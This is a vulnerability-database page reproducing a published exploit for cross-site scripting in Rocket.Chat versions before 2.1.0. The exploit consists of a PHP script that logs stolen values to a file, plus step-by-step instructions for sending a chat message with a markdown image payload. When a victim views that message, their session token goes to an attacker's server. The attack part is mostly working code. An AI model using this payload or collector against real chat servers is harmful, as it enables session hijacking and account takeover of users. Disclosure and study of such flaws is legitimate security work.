Lucene search
K

Rocket.Chat Cross Site Scripting

🗓️ 01 Oct 2019 00:00:00Reported by 3H34NType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 147 Views

Rocket.Chat - Cross Site Scripting Exploit (Token Hijack) vulnerability Rocket.Chat < 2.1.0, author 3H34N, website nezami.me, Twitter mr_ehsan

Code
`#[+] Title: Rocket.Chat - Cross Site Scripting Exploit (Token Hijack)  
#[+] Product: Rocket.Chat  
#[+] Vendor: https://rocket.chat/  
#[+] Vulnerable Version(s): Rocket.Chat < 2.1.0  
#  
#  
# Author : 3H34N  
# Ehsan Nezami  
# Website : nezami.me  
# Twitter : https://twitter.com/mr_ehsane  
# Special Thanks : Ali razmjoo, Mohammad Reza Espargham (@rezesp)  
  
  
1. Create l33t.php on a web server   
  
  
<?php  
$output = fopen("logs.txt", "a+") or die("WTF? o.O");  
$leet = $_GET['leet']."\n\n";  
fwrite($output, $leet);  
fclose($output);  
?>  
  
2. Open a chat session  
3. Send payload with your web server url  
  
  
![title](http://10.10.1.5/l33t.php?leet=+`{}token`)  
  
4. Token will be written in logs.txt when target seen your message.  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Oct 2019 00:00Current
7.4High risk
Vulners AI Score7.4
147